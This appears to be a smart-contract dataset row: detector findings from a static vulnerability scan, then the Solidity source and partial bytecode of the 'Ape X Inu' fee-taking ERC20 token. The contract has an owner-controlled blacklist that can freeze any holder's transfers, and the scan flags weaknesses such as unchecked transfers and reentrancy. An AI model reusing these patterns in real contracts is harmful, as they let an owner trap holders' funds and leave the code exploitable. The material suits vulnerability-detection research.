04820152600c60248201526b24b73b30b634b210383630b760a11b604482015290519081900360640190fd5b60015460408051636eb1769f60e11b815233600482015230602482015290516001600160a01b039092169163dd62ed3e91604480820192602092909190829003018186803b15801561133257600080fd5b505afa158015611346573d6000803e3d6000fd5b505050506040513d602081101561135c57600080fd5b50518111156113b2576040805162461bcd60e51b815260206004820152601760248201527f54616e73616374696f6e206e6f7420617070726f766564000000000000000000604482015290519081900360640190fd5b6001546113d0906001600160a01b031633308463ffffffff611aa716565b60006113e96103e861086f84606463ffffffff6118cf16565b600d5460015491925061140f916001600160a01b0390811691168363ffffffff611a5016565b60408051828152905133917f2899dc8c12def1caa9accb64257cf2fd9f960f21bb27a560a757eae3c2ec43c1919081900360200190a2336000908152600a6020526040902060028101546001600160a01b03166115b1576001600160a01b0385166000908152600a60205260409020541580159061149657506001600160a01b0385163314155b156114bd576002810180546001600160a01b0319166001600160a01b0387161790556114e2565b600d546002820180546001600160a01b0319166001600160a01b039092169190911790555b60028101546001600160a01b031660005b60038110156115ae576001600160a01b038216156115a1576115516001600a6000856001600160a01b03166001600160a01b03168152602001908152602001600020600301836003811061154357fe5b01549063ffffffff61192f16565b6001600160a01b0383166000908152600a602052604090206003908101908390811061157957fe5b01556001600160a01b039182166000908152600a6020526040902060020154909116906115a6565b6115ae565b6001016114f3565b50505b60028101546001600160a01b0316156117175760028101546001600160a01b031660005b6003811015611710576001600160a01b0382161561170357600061161f6103e861086f6002858154811061160557fe5b9060005260206000200154896118cf90919063ffffffff16565b6001600160a01b0384166000908152600a602052604090206006015490915061164e908263ffffffff61192f16565b6001600160a01b0384166000908152600a60205260409020600681019190915560070154611682908263ffffffff61192f16565b6001600160a01b0384166000818152600a6020908152604091829020600701939093558051848152905185933393927fd41f7e766eebcc7ff42b11ac8691bdf864db4afc0c55e71d629d54edce460d98929081900390910190a4506001600160a01b039182166000908152600a602052604090206002015490911690611708565b611710565b6001016115d5565b5050611758565b60006117306103e861086f86607863ffffffff6118cf16565b600d54600154919250611756916001600160a01b0390811691168363ffffffff611a5016565b505b8054611798574260018201556040805133815290517f9fd565cd14c3c391679eb0cad12a14dcf7534e9d3462bcb9b67a098a9bbbc24a9181900360200190a15b6040805160608101825260ff868116825260208083018781524294840194855285546001808201885560008881529390932094516003909102909401805460ff1916949093169390931782559151918101919091559051600290910155600454611802908461192f565b6004556040805160ff86168152602081018590524281830152905133917f5998f12fe9332603ffeda0abbc2ea68418dfad46909149aa0f4fcbd1d8f7c620919081900360600190a25050505050565b6001600160a01b03166000908152600a602052604090206006015490565b606481565b6001600160a01b03166000908152600a602052604090206008015490565b6001600160a01b03166000908152600a60205260409020600581015460048201546003909201549091010190565b6001546001600160a01b031681565b6000826118de57506000610a2c565b828202828482816118eb57fe5b04146119285760405162461bcd60e51b8152600401808060200182810382526021815260200180611cdb6021913960400191505060405180910390fd5b9392505050565b600082820183811015611928576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008082116119df576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b60008284816119ea57fe5b04949350505050565b600082821115611a4a576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611aa2908490611b07565b505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052611b01908590611b07565b50505050565b611b1082611cb6565b611b61576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310611b9f5780518252601f199092019160209182019101611b80565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611c01576040519150601f19603f3d011682016040523d82523d6000602084013e611c06565b606091505b509150915081611c5d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115611b0157808060200190516020811015611c7957600080fd5b5051611b015760405162461bcd60e51b815260040180806020018281038252602a815260200180611cfc602a913960400191505060405180910390fd5b3b151590565b6040518060600160405280600390602082028038833950919291505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72305820af538446b9facfd71c159f69f654963342e0e42532c266da0e653fd955f2041964736f6c634300050a0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 4,175 |
0x78e8fff4d2fdfdaacaf7b356b54023bac429b975
|
/**
*Submitted for verification at Etherscan.io on 2022-04-01
*/
/**
*/
// SPDX-License-Identifier: MIT
/**
https://t.me/apexinu
**/
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ApexInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Ape X Inu";
string private constant _symbol = "APEXINU";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_maxTxAmount = _tTotal.mul(15).div(1000);
emit Transfer(address(_msgSender()), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
_feeAddr1 = 2;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(tradingOpen);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(to == uniswapV2Pair){
_feeAddr1 = 2;
_feeAddr2 = 10;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 500000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function increaseMaxTx(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function addToSwap() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiquidity() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function startTrading() external onlyOwner{
tradingOpen = true;
}
function addToList(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = true;
}
}
}
function removeFromList(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c80636fc3eaec116100a0578063a9059cbb11610064578063a9059cbb14610394578063c3c8cd80146103d1578063d91a21a6146103e8578063dd62ed3e14610411578063e8078d941461044e5761012a565b80636fc3eaec146102d357806370a08231146102ea578063715018a6146103275780638da5cb5b1461033e57806395d89b41146103695761012a565b8063293230b8116100e7578063293230b814610228578063313ce5671461023f57806339c967741461026a5780634be0c708146102815780635932ead1146102aa5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461019757806323b872dd146101c2578063257f9abf146101ff5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610465565b60405161015191906125b7565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612681565b6104a2565b60405161018e91906126dc565b60405180910390f35b3480156101a357600080fd5b506101ac6104c0565b6040516101b99190612706565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612721565b6104d3565b6040516101f691906126dc565b60405180910390f35b34801561020b57600080fd5b5061022660048036038101906102219190612774565b6105ac565b005b34801561023457600080fd5b5061023d61069c565b005b34801561024b57600080fd5b5061025461074e565b60405161026191906127bd565b60405180910390f35b34801561027657600080fd5b5061027f610757565b005b34801561028d57600080fd5b506102a860048036038101906102a39190612920565b610a1b565b005b3480156102b657600080fd5b506102d160048036038101906102cc9190612995565b610c7d565b005b3480156102df57600080fd5b506102e8610d2f565b005b3480156102f657600080fd5b50610311600480360381019061030c9190612774565b610d40565b60405161031e9190612706565b60405180910390f35b34801561033357600080fd5b5061033c610d91565b005b34801561034a57600080fd5b50610353610ee4565b60405161036091906129d1565b60405180910390f35b34801561037557600080fd5b5061037e610f0d565b60405161038b91906125b7565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b69190612681565b610f4a565b6040516103c891906126dc565b60405180910390f35b3480156103dd57600080fd5b506103e6610f68565b005b3480156103f457600080fd5b5061040f600480360381019061040a91906129ec565b610f81565b005b34801561041d57600080fd5b5061043860048036038101906104339190612a19565b61105d565b6040516104459190612706565b60405180910390f35b34801561045a57600080fd5b506104636110e4565b005b60606040518060400160405280600981526020017f417065205820496e750000000000000000000000000000000000000000000000815250905090565b60006104b66104af611415565b848461141d565b6001905092915050565b60006a52b7d2dcc80cd2e4000000905090565b60006104e08484846115e8565b6105a1846104ec611415565b61059c8560405180606001604052806028815260200161341760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610552611415565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b709092919063ffffffff16565b61141d565b600190509392505050565b6105b4611415565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890612aa5565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6106a4611415565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610731576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072890612aa5565b60405180910390fd5b6001600e60146101000a81548160ff021916908315150217905550565b60006012905090565b61075f611415565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e390612aa5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061087e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166a52b7d2dcc80cd2e400000061141d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ed9190612ada565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610954573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109789190612ada565b6040518363ffffffff1660e01b8152600401610995929190612b07565b6020604051808303816000875af11580156109b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d89190612ada565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610a23611415565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa790612aa5565b60405180910390fd5b60005b8151811015610c7957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610b0857610b07612b30565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610b9c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610b7b57610b7a612b30565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b8015610bee57503073ffffffffffffffffffffffffffffffffffffffff16828281518110610bcd57610bcc612b30565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610c6657600160066000848481518110610c0c57610c0b612b30565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610c7190612b8e565b915050610ab3565b5050565b610c85611415565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990612aa5565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6000479050610d3d81611bd4565b50565b6000610d8a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c40565b9050919050565b610d99611415565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1d90612aa5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f41504558494e5500000000000000000000000000000000000000000000000000815250905090565b6000610f5e610f57611415565b84846115e8565b6001905092915050565b6000610f7330610d40565b9050610f7e81611cae565b50565b610f89611415565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611016576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100d90612aa5565b60405180910390fd5b6000811161102357600080fd5b6110546064611046836a52b7d2dcc80cd2e400000061135090919063ffffffff16565b6113cb90919063ffffffff16565b600f8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110ec611415565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611179576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117090612aa5565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111c230610d40565b6000806111cd610ee4565b426040518863ffffffff1660e01b81526004016111ef96959493929190612c1c565b60606040518083038185885af115801561120d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112329190612c92565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161130a929190612ce5565b6020604051808303816000875af1158015611329573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134d9190612d23565b50565b60008083141561136357600090506113c5565b600082846113719190612d50565b90508284826113809190612dd9565b146113c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b790612e7c565b60405180910390fd5b809150505b92915050565b600061140d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f27565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561148d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148490612f0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f490612fa0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115db9190612706565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611658576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164f90613032565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bf906130c4565b60405180910390fd5b6000811161170b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170290613156565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117af5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117b857600080fd5b6002600a81905550600a600b819055506117d0610ee4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561183e575061180e610ee4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6057600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118ee5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119445750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561195c5750600e60179054906101000a900460ff165b1561198a57600f5481111561197057600080fd5b600e60149054906101000a900460ff1661198957600080fd5b5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a325750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a9f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a9e576002600a81905550600a600b819055505b5b6000611aaa30610d40565b9050600e60159054906101000a900460ff16158015611b175750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b2f5750600e60169054906101000a900460ff165b15611b5e57611b3d81611cae565b60004790506706f05b59d3b20000811115611b5c57611b5b47611bd4565b5b505b505b611b6b838383611f8a565b505050565b6000838311158290611bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611baf91906125b7565b60405180910390fd5b5060008385611bc79190613176565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c3c573d6000803e3d6000fd5b5050565b6000600854821115611c87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7e9061321c565b60405180910390fd5b6000611c91611f9a565b9050611ca681846113cb90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ce657611ce56127dd565b5b604051908082528060200260200182016040528015611d145781602001602082028036833780820191505090505b5090503081600081518110611d2c57611d2b612b30565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611dd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611df79190612ada565b81600181518110611e0b57611e0a612b30565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e7230600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461141d565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ed69594939291906132fa565b6000604051808303